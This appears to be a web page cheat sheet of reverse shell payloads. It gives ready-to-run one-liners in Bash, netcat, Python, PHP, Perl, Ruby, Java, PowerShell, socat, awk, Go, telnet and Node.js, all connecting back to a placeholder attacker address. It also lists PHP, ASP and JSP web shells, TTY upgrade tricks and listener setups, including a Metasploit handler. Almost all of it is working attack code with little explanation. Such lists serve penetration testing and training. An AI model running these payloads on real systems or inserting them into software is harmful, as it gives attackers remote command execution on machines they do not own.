Skip to content

Reverse Shells

Bash

Basic Bash

bash -i >& /dev/tcp/10.10.10.10/4444 0>&1

# Alternative
0<&196;exec 196<>/dev/tcp/10.10.10.10/4444; sh <&196 >&196 2>&196

# URL encoded
bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.10.10%2F4444%200%3E%261%27

Netcat

Traditional nc

# nc -e (if available)
nc -e /bin/sh 10.10.10.10 4444
nc -e /bin/bash 10.10.10.10 4444

# nc without -e
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 4444 >/tmp/f

# OpenBSD nc
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.10.10 4444 >/tmp/f

Ncat

ncat 10.10.10.10 4444 -e /bin/bash
ncat --udp 10.10.10.10 4444 -e /bin/bash

Python

Python
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.10",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Python Alternative
export RHOST="10.10.10.10";export RPORT=4444;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'

PHP

# PHP exec
php -r '$sock=fsockopen("10.10.10.10",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

# PHP shell_exec
php -r '$sock=fsockopen("10.10.10.10",4444);shell_exec("/bin/sh -i <&3 >&3 2>&3");'

# PHP system
php -r '$sock=fsockopen("10.10.10.10",4444);system("/bin/sh -i <&3 >&3 2>&3");'

# PHP passthru
php -r '$sock=fsockopen("10.10.10.10",4444);passthru("/bin/sh -i <&3 >&3 2>&3");'

# PHP popen
php -r '$sock=fsockopen("10.10.10.10",4444);popen("/bin/sh -i <&3 >&3 2>&3", "r");'

Perl

# Perl
perl -e 'use Socket;$i="10.10.10.10";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

# Perl without /bin/sh
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.10.10.10:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

Ruby

# Ruby
ruby -rsocket -e'f=TCPSocket.open("10.10.10.10",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

# Ruby without /bin/sh
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("10.10.10.10","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

Java

// Java
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.10.10.10/4444;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

// Groovy
String host="10.10.10.10";
int port=4444;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

PowerShell

# PowerShell reverse shell
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("10.10.10.10",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

# Alternative
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

# Base64 encoded
powershell -e <BASE64_ENCODED_COMMAND>

Socat

# Reverse shell
socat tcp-connect:10.10.10.10:4444 exec:/bin/sh,pty,stderr,setsid,sigint,sane

# Listener (on attacker)
socat file:`tty`,raw,echo=0 tcp-listen:4444

# Encrypted shell
# Generate certificate
openssl req -newkey rsa:2048 -nodes -keyout shell.key -x509 -days 365 -out shell.crt
cat shell.key shell.crt > shell.pem

# Listener
socat OPENSSL-LISTEN:4444,cert=shell.pem,verify=0 FILE:`tty`,raw,echo=0

# Reverse
socat OPENSSL:10.10.10.10:4444,verify=0 EXEC:/bin/bash

Awk

awk 'BEGIN {s = "/inet/tcp/0/10.10.10.10/4444"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null

Golang

echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","10.10.10.10:4444");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go

Telnet

# If netcat not available
rm -f /tmp/p; mknod /tmp/p p && telnet 10.10.10.10 4444 0</tmp/p | /bin/bash 1>/tmp/p

# Two-way
telnet 10.10.10.10 4444 | /bin/bash | telnet 10.10.10.10 4445

Node.js

// Node.js
(function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(4444, "10.10.10.10", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/;
})();

// Alternative
require('child_process').exec('nc -e /bin/sh 10.10.10.10 4444')

// Minified
var net=require("net"),sh=require("child_process").exec("/bin/bash");var client=new net.Socket();client.connect(4444,"10.10.10.10",function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});

Web Shells

PHP

<?php system($_GET['cmd']); ?>
<?php echo shell_exec($_GET['cmd']); ?>
<?php echo passthru($_GET['cmd']); ?>

ASP

<%response.write(eval(request("cmd")))%>

JSP

<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>

TTY Shell Upgrade

# Python
python -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'

# Ctrl+Z (background)
stty raw -echo; fg
# Press Enter twice

# Export term
export TERM=xterm

# Full upgrade
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
export TERM=xterm
stty rows 38 columns 116

# Script
script /dev/null -c bash

# Expect
expect -c 'spawn /bin/bash;interact'

# Socat
socat file:`tty`,raw,echo=0 tcp-listen:4444

Listeners

# Netcat
nc -lvnp 4444

# Ncat
ncat -lvnp 4444

# Socat
socat file:`tty`,raw,echo=0 tcp-listen:4444

# PowerShell
powercat -l -p 4444

# Metasploit
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 10.10.10.10
set LPORT 4444
exploit